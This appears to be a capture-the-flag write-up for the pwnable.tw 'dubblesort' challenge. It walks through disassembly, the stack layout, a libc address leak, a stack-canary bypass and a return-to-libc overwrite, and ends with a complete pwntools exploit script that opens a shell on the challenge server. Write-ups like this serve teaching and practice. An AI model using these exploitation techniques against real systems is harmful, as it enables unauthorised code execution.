Introduction
During Christmas, I had some spare time, decided to give pwnable.tw another try and began solving challenge #6:
- You can connect to a service using nc chall.pwnable.tw 10101
- The service binary dubblesort and its libc are available for download
- Your goal is to send malicious input and spawn a shell
So, let’s connect to the port and see what the service is all about:
What your name :Chris
Hello Chris
,How many numbers do you what to sort :3
Enter the 0 number : 3
Enter the 1 number : 2
Enter the 2 number : 1
Processing......
Result :
1 2 3
The binaries name gave us already a hint: After we enter our name, the application asks us for a set of numbers. The numbers are sorted, printed on screen and finally the app terminates.
Let us take a general look at its security features with checksec:
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
We have a 32 bit binary with stack protection and address space randomisation. Therefore, the following strategies are promising:
- We have to find a way to read memory to get the libc or dubblesort binary base addresses for further exploitation
- Due to the NX bit set, our shell code has to be executed using ROP gadgets, a return to libc, etc.
Code Analysis
We start IDA and jump directly into main():
; int __cdecl main(int argc, const char **argv, const char **envp)
.text:565C59C3 push ebp
.text:565C59C4 mov ebp, esp
.text:565C59C6 push edi
.text:565C59C7 push esi
.text:565C59C8 push ebx
.text:565C59C9 and esp, 0FFFFFFF0h
.text:565C59CC add esp, 0FFFFFF80h
Nothing special here. A few registers are saved and a stack frame with a size of 0x8C is created.
.text:566009CF call __i686.get_pc_thunk.bx
.text:566009D4 add ebx, 15CCh
.text:566009DA mov eax, large gs:14h
.text:566009E0 mov [esp+7Ch], eax
.text:566009E4 xor eax, eax
Relocation is done, image base loaded into EBX and a stack cookie is stored at ESP+0x7C. Dubblesort now enters function sub_566008B5 which contains the following code block:
.text:566008FE mov [esp+2Ch+var_28], eax
.text:56600902 mov [esp+2Ch+var_2C], 0Eh
.text:56600909 call _signal
.text:5660090E mov [esp+2Ch+var_2C], 3Ch ; '<'
.text:56600915 call _alarm
It configures a timer which terminates our application after 60 seconds. This is a little bit annoying while debugging, therefore I overwrote the opcodes at 0x5660090E and 0x56600915 with a sequence of NOPs. This makes local debugging a lot more easier because the application does not terminate itself. Back to main():
.text:566009EB lea eax, (aWhatYourName - 56601FA0h)[ebx] ; "What your name :"
.text:566009F1 mov [esp+4], eax
.text:566009F5 mov dword ptr [esp], 1
.text:566009FC call ___printf_chk
.text:56600A01 mov dword ptr [esp+8], 40h ; '@'
.text:56600A09 lea esi, [esp+3Ch]
.text:56600A0D mov [esp+4], esi
.text:56600A11 mov dword ptr [esp], 0
.text:56600A18 call _read
A printf() asks for our name. Dubblesort reads up to 40 bytes from stdin via read() and stores them at ESP+0x3Ch.
.text:56600A21 lea eax, (aHelloSHowManyN - 56601FA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
.text:56600A27 mov [esp+4], eax
.text:56600A2B mov dword ptr [esp], 1
.text:56600A32 call ___printf_chk
.text:56600A37 lea eax, [esp+18h]
.text:56600A3B mov [esp+4], eax
.text:56600A3F lea eax, (aU - 56601FA0h)[ebx] ; "%u"
.text:56600A45 mov [esp], eax
.text:56600A48 call ___isoc99_scanf
.text:56600A4D mov eax, [esp+18h]
;...
.text:56600A55 lea edi, [esp+1Ch]
.text:56600A59 mov esi, 0
Our name at ESP+0x3Ch is printed on screen via printf() and we are asked how many numbers we want to sort. Afterwards, dubblesorts reads an integer from stdin using scanf(), stores the result as ESP+0x18h and copies it to EAX.
.text:56600A5E mov [esp+8], esi
.text:56600A62 lea eax, (aEnterTheDNumbe - 56601FA0h)[ebx] ; "Enter the %d number : "
.text:56600A68 mov [esp+4], eax
.text:56600A6C mov dword ptr [esp], 1
.text:56600A73 call ___printf_chk
.text:56600A88 mov [esp+4], edi
.text:56600A8C lea eax, (aU - 56601FA0h)[ebx] ; "%u"
.text:56600A92 mov [esp], eax
.text:56600A95 call ___isoc99_scanf
.text:56600A9A add esi, 1
.text:56600A9D mov eax, [esp+18h]
.text:56600AA1 add edi, 4
.text:56600AA4 cmp eax, esi
.text:56600AA6 ja short loc_56600A5E
I have simplified this block a little bit and removed a call to flush(). It runs in a loop until ESI (starts with 0 and is incremented by each iteration) reaches EAX (contains the number of elements we want to sort). It asks for a number via printf(). An integer is read from stdin using scanf(“%u”) and stored at [EDI]. EDI points to ESP+0x1C and is incremented by 4 after each iteration.
When the loop is finished, the array of integers entered by the user is stored at ESP+0x1C and its size can be found at ESP+0x18. Both are passed as parameters to the sort function sub_56600931():
void sort(unsigned int size, unsigned int* array){ unsigned int counter = size-1; unsigned int val1; while(counter != 0){ for(unsigned int i=0; i<=counter; i++){ if(array[i] > array[i+1]){ val1 = array[i]; array[i] = array[i+1]; array[i+1] = val1; } } counter--; } }
I have manually transformed the assembly into C and simplified it a little bit (removed the stack canary and a sleep(1)). It is basically a bubblesort implementation. The algorithm iterates over the input array and compares element i with element i-1. If i-1 is larger than i, both values are swapped. When the end of the array is reached, the array size is decremented by one and the next iteration begins.
.text:565D5AF9 mov eax, 0
.text:565D5AFE mov edx, [esp+7Ch]
.text:565D5B02 xor edx, large gs:14h
.text:565D5B09 jz short loc_565D5B10
.text:565D5B0B call stack_was_altered_error
.text:565D5B10
.text:565D5B10 loc_565D5B10:
.text:565D5B10 lea esp, [ebp-0Ch]
.text:565D5B13 pop ebx
.text:565D5B14 pop esi
.text:565D5B15 pop edi
.text:565D5B16 pop ebp
.text:565D5B17 retn
Finally, the sorted array is printed on screen as a list of unsigned integers, a check is performed whether the stack canary was altered, previous registers are restored and main() jumps to its return value.
The previous analysis leads to the following stack layout:
Address | Usage |
---|---|
ESP + 0x18 | Number of Elements the user wants to sort |
ESP + 0x1C | Integer array, sorted when application terminates |
ESP + 0x3C | User name |
ESP + 0x7C | Stack Canary |
ESP + 0x8C | Old EBX |
ESP + 0x90 | Old ESI |
ESP + 0x94 | Old EDI |
ESP + 0x94 | Old EBP |
ESP + 0x98 | Return Address |
Local Exploitation
We have analyzed the application and can begin to pwn it. I prefer to write a local exploit before I try to attack the pwnable.tw page because it is easier to debug. Because of ASLR, we have to find a way to read dubblesorts memory first. When this is done, we try to take over its code execution and spawn a shell.
Reading Memory
Dubblesort asks for the user name and stores it at ESP+0x3C. Read() is limited to 0x40 bytes so we can not use it to overwrite the main() return address. Nevertheless, another aspect is interesting: It uses a printf(“%s”) to display the content of ESP+0x3C. It does not append a 0x00 to the end of the previously stored string. Therefore, printf(“%s”) will continue to print data until it reaches a random null byte. The following output of a pwntools python script shows the problem:
[DEBUG] Received 0x10 bytes:
b'What your name :'
[DEBUG] Sent 0x15 bytes:
b'AAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x49 bytes:
00000000 48 65 6c 6c 6f 20 41 41 41 41 41 41 41 41 41 41 │Hell│o AA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 0a e0 f6 f7 20 60 │AAAA│AAAA│AA··│·· `│
00000020 fc f7 2c 48 6f 77 20 6d 61 6e 79 20 6e 75 6d 62 │··,H│ow m│any │numb│
00000030 65 72 73 20 64 6f 20 79 6f 75 20 77 68 61 74 20 │ers │do y│ou w│hat │
00000040 74 6f 20 73 6f 72 74 20 3a │to s│ort │:│
00000049
The example above shows a set of hex data after the newline character: 0xe0, 0xf6, 0xf7, … Apparently, it is possible to dump stack content on screen. Let us take a look in IDA if anything interesting can be found at ESP+0x3C which is worth printing.
/lib/libc-2.32.so 00000000F7D63000
FFDE2ABC F7E0589F libc_2.32.so:strerrordesc_np+1347F
FFDE2AC0 00000000
FFDE2AC4 F7F4E000 libc_2.32.so:F7F4E000
FFDE2AC8 F7FC0680 ld_2.32.so:_rtld_global_ro
FFDE2ACC F7F51448 debug001:_nl_msg_cat_cntr+90
FFDE2AD0 F7F4E000 libc_2.32.so:F7F4E000
FFDE2AD4 F7FA6020 ld_2.32.so:_dl_rtld_di_serinfo+73E0
FFDE2AD8 00000000
ESP+0x3C starts at 0xFFDE2ABC. Interestingly, 0xFFDE2AC4 contains a pointer into libc. If we substract the libc image base 0xF7D63000, we get the value 0x1EB000. Let us search for this offset in our local libc:
readelf -S /lib/libc-2.32.so
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[28] .got.plt PROGBITS 001eb000 1ea000 000040 04 WA 0 0 4
Apparently, it is a pointer to the .got.plt section. This leads to the following strategy:
- Send 8 bytes to the application when it asks for your name
- It returns a newline 0xa character followed by 3 bytes which represent the .got.plt offset
- Substitute the first character 0xa with 0x0, substract 0x1EB000 and we have the libc image base address
Writing on Stack
Previously, we have seen how to extract the libc image base address. We can use it to write a “return to libc” or ROP gadgets on stack. But how can we perform a write operation? Luckily, dubblesort allows us to enter any number of unsigned integers which are stored at ESP+0x1C. If we take a look at the previously described stack layout, the following boundaries appear:
- The first 24 integers are stored on stack frame data space
- Integer 25 would overwrite the stack canary
- Integer 26 – 32 overwrite previously restored registers
- Integer 33 overwrites the main() return address
We can overwrite crucial stack content to get control of EIP but we face two problems here: The result is sorted and we do not want to overwrite the stack canary. Ignoring the stack canary is easy: Input is parsed with format string “%u”. If we enter a character like “-“, it is simply ignored. The sorting problem can be faced with a “return to libc” attack instead of ROP gadgets because it just needs two values: A pointer to system() and a pointer to a /bin/sh string. The following two shell commands search in our local libc for them:
strings -tx /lib/libc.so.6 | grep /bin/sh
192108 /bin/sh
readelf -s /lib/libc.so.6 | grep system
1559: 00042c50 55 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
This leads to the following overall strategy to spawn a shell on my local machine:
- Write 24 null bytes
- Write a “-” to protect the stack canary
- Write 8 times the system() offset which is libc base address + 0x42c50
- Write 1 – 3 times the /bin/sh offset which is libc base address + 0x192108
The order of these values is not destroyed by bubblesort and a shell pops up.
Remote Exploit
For the remote exploit, we have to change a few things:
- Adjust the system() offset according to libc provided by the challenge page
- Adjust the /bin/sh offset according to libc provided by the challenge page
- Adjust the .got.plt section offset according to libc provided by the challenge page
- Debug dubblesort with the provided libc to see the the stack layout and calculate the correct input name length for libc base address retrival
Unfortunatly, I was not able to load the challenge page libc. :-/
LD_LIBRARY_PATH=/home/pwnable/6/libc ./dubblesort
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
Therefore I had to check other peoples exploits to get the correct input name length. It is 24. This leads to the final remote exploit:
#!/usr/bin/python3 from pwn import * context.log_level = 'DEBUG' io = remote('chall.pwnable.tw',10101) io.recv() #name to leak libc address io.sendline('A'*24) io.recvuntil('A'*24) re = u32(io.recv(4)) io.recv() print("fetched stack value: " + str(hex(re))) zeroed = re & 0xffffff00 libc_base = zeroed - 0x1B0000 #git.plt section offset print("calculated libc base: " + str(hex(libc_base))) bash_string_offset = libc_base + 0x158e8b print("calculated bash offset: " + str(hex(bash_string_offset))) system_offset = libc_base + 0x3a940 print("calculated system() offset: " + str(hex(system_offset))) pause() BEFORE_CANARY = 24 SYSTEM_OFFSET_AMOUNT = 8 BASH_OFFSET_AMOUNT = 3 TOTAL_SIZE = BEFORE_CANARY + 1 + SYSTEM_OFFSET_AMOUNT + BASH_OFFSET_AMOUNT #array size io.sendline(str(TOTAL_SIZE)) io.recv() #array content for i in range(BEFORE_CANARY): io.sendline(str(i)) io.recv() #dont change the canary io.sendline("-") io.recv() #ret to libc comes here for i in range(SYSTEM_OFFSET_AMOUNT): io.sendline(str(system_offset)) io.recv() for i in range(BASH_OFFSET_AMOUNT): io.sendline(str(bash_string_offset)) io.recv() #finished io.recv() print("Done, Shell should pop up :)") io.interactive()